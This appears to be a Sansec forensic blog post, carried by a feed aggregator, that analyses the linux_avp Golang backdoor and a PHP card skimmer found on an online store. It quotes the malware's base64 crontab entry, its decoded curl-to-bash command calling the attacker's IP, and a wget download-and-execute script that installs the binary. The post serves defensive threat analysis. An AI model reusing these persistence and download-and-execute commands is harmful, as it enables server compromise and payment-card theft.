惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

H
Help Net Security
博客园_首页
酷 壳 – CoolShell
酷 壳 – CoolShell
G
Google Developers Blog
Jina AI
Jina AI
C
Check Point Blog
Apple Machine Learning Research
Apple Machine Learning Research
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
GbyAI
GbyAI
Last Week in AI
Last Week in AI
罗磊的独立博客
Hugging Face - Blog
Hugging Face - Blog
阮一峰的网络日志
阮一峰的网络日志
The Cloudflare Blog
M
MIT News - Artificial intelligence
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
J
Java Code Geeks
WordPress大学
WordPress大学
博客园 - 聂微东
月光博客
月光博客
博客园 - 司徒正美
T
The Blog of Author Tim Ferriss
大猫的无限游戏
大猫的无限游戏
Microsoft Security Blog
Microsoft Security Blog

Sansec - experts in eCommerce security

GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem Keylogger targets 200,000+ employees at major US bank ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Google services abused in skimming campaigns Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns
New linux_avp malware hits eCommerce sites
Sansec Forensics Team · 2021-11-18 · via Sansec - experts in eCommerce security

A merchant recently reached out to us, after hiring two forensic companies but still having malware on his store. As we appreciate a challenge, our team got started and quickly discovered an intricate attack.

Malicious Golang server agent

We found that the attacker started with automated eCommerce attack probes, testing for dozens of weaknesses in common online store platforms. After a day and a half, the attacker found a file upload vulnerability in one of the store's plugins. S/he then uploaded a webshell and modified the server code to intercept customer data.

Interestingly, the attacker also uploaded a Linux executable called linux_avp. This Golang program starts, removes itself from disk, and disguises as a fake ps -ef process.

Analysis of linux_avp suggests that it serves as backdoor, waiting for commands from a Beijing (Alibaba) hosted server 47.113.202.35. Note the spelling error PostDecript in the malware function list:

main.BytesToPublicKey
main.(*client).getJob
main.(*client).getJob.func1
main.(*client).MakeCryptPostData
main.(*client).PostDecript
main.(*client).postRequest
main.(*client).register_cli
main.(*client).returnHash
main.CorrectPub64
main.DecryptOAEP
main.DecryptOAEPLong
main.DownloadFile
main.EncryptOAEP
main.EncryptOAEPLong
main.execute
main.GenerateKeyPair
main.JsonToDict
main.map2json
main.newClient
main.PubFrom64
main.PublicKeyToBytes
main.PublicKeyToStr
main.SetProcessName
main.wsock

The backdoor also revealed where the backdoor was built: by user dob in a project folder lin_avp, using code name GREECE.

/home/dob/Documents/GREECE/lin_avp/lin_avp.go
/home/dob/Documents/GREECE/lin_avp/rsa_pac.go
/home/dob/Documents/GREECE/lin_avp/websock_pac.go

The linux_avp malware also injects a malicious crontab entry, to ensure access in case that the process is removed or the server rebooted.

* * * * * /bin/bash -c "base64 --decode <<< Y3VybCAtWCBQT1NUIC1kICJoYXNoPTNjMjM1YTJjY2Q3ZGI3Mzk3ZDMyNGI4ZjhiZTBlZGJhIiAtLWluc2VjdXJlIGh0dHBzOi8vNDcuMTEzLjIwMi4zNS9saWNlbnNlX3ZhbGlkYXRpb25fZXhwaXJhdGlvbiB8IGJhc2U2NCAtLWRlY29kZSB8IC9iaW4vYmFzaA== | /bin/bash"

This translates to :

curl -X POST -d "hash=f6ee7f366f96456277fd9e10c07d9d3f" --insecure https://47.113.202.35/license_validation_expiration | base64 --decode | /bin/bash

When executed, it will receive this code:

path_wr=$(find / -type d -writable -print | grep -wv '^/proc\|^/dev\|^/run' -m1);wget -O $path_wr/linux_avp --post-data 'hash=f6ee7f366f96456277fd9e10c07d9d3f' https://47.113.202.35/license_validation --no-check-certificate;chmod +x $path_wr/linux_avp;echo 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQktEQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FSVUFNSUlCRUFLQ0FRY0E4S3ppZ0hEbkhrd3VMRlFiam14MgpSd25iME1xK1RQT1JsWlA1NXZON2xZWHh6clVhV2lUMWthdWc2K09TTjZUVUFmaDBhNTBmYUZnUmhOSXFiYkdrCnB1TURmTzN3N0NWWFVsekRCMDVVREdpRzJqdEJQVU54Y3lET3c2di9RNUpoT0FsUjZ1eHlqZ3BnRndjdTZYSHYKUlMzT0kzTzE5Y0ZyejZWanJXOENUSktTTjhjeVRrTWlMQ2o1MTN1SVA3WEIwM0R3M1NkS3d1RExEeXRlUlJtSQpPWWtnZHJkZk52TVFQa0JwQnNVZWgwVzZ3S3VJeWpNZmVHUjBwUE0vVkxOeUwyWWhJdk05SXZRSUZsSzBNdWpUCjhMQ0gzejNweTluWjBCbUxTZ3B6MUxONC81SUlMQldpK1dTdnAvbmFLbWk1NE5xWkwyWTQvTkVlU1Y5MXpHcC8KR3hxdDJhWEFYUUlEQVFBQgotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0K' > $path_wr/xpnjdfx.txt;echo "anonymous" > drgjghsaef.txt; $path_wr/linux_avp &

This effectively downloads the Golang malware executable to a random writable directory, and installs two configuration files. One contains a public key, which is presumably used to ensure that no-one but the malware owner can launch commands.

-----BEGIN PUBLIC KEY-----
MIIBKDANBgkqhkiG9w0BAQEFAAOCARUAMIIBEAKCAQcA8KzigHDnHkwuLFQbjmx2
Rwnb0Mq+TPORlZP55vN7lYXxzrUaWiT1kaug6+OSN6TUAfh0a50faFgRhNIqbbGk
puMDfO3w7CVXUlzDB05UDGiG2jtBPUNxcyDOw6v/Q5JhOAlR6uxyjgpgFwcu6XHv
RS3OI3O19cFrz6VjrW8CTJKSN8cyTkMiLCj513uIP7XB03Dw3SdKwuDLDyteRRmI
OYkgdrdfNvMQPkBpBsUeh0W6wKuIyjMfeGR0pPM/VLNyL2YhIvM9IvQIFlK0MujT
8LCH3z3py9nZ0BmLSgpz1LN4/5IILBWi+WSvp/naKmi54NqZL2Y4/NEeSV91zGp/
Gxqt2aXAXQIDAQAB
-----END PUBLIC KEY-----

This case has another Chinese connection. A file was added to the eCommerce platform code called app/design/frontend/favicon_absolute_top.jpg, which contains PHP code to retrieve a fake payment form and inject it in the store:

https://103.233.11.28/jQuery_StXlFiisxCDN.php?hash=06d08a204bddfebe2858408a62c742e944824164

The IP 103.233.11.28 is hosted in Hong Kong and we previously observed it as skimming exfiltration endpoint in July and August of this year.

Malware under the radar but spreading

Virustotal does not detect the malware at the time of writing

At the time of writing, no other anti-virus vendor recognize this malware. Curiously, one individual had submitted the same malware to Virustotal on Oct 8th with the comment "test". This was just one day after the successful breach of our customer's store. The person uploading the malware could very well be the malware author, who wanted to assert that common anti-virus engines will not detect their creation.

Sansec has updated detection capabilities for our eComscan security monitor, and the malware was discovered on several US and EU based servers.

Update 2021-11-25: see also our analysis of another, more advanced RAT we found a few days later: CronRAT.

Photo by: Jeremy Bezanger

Read more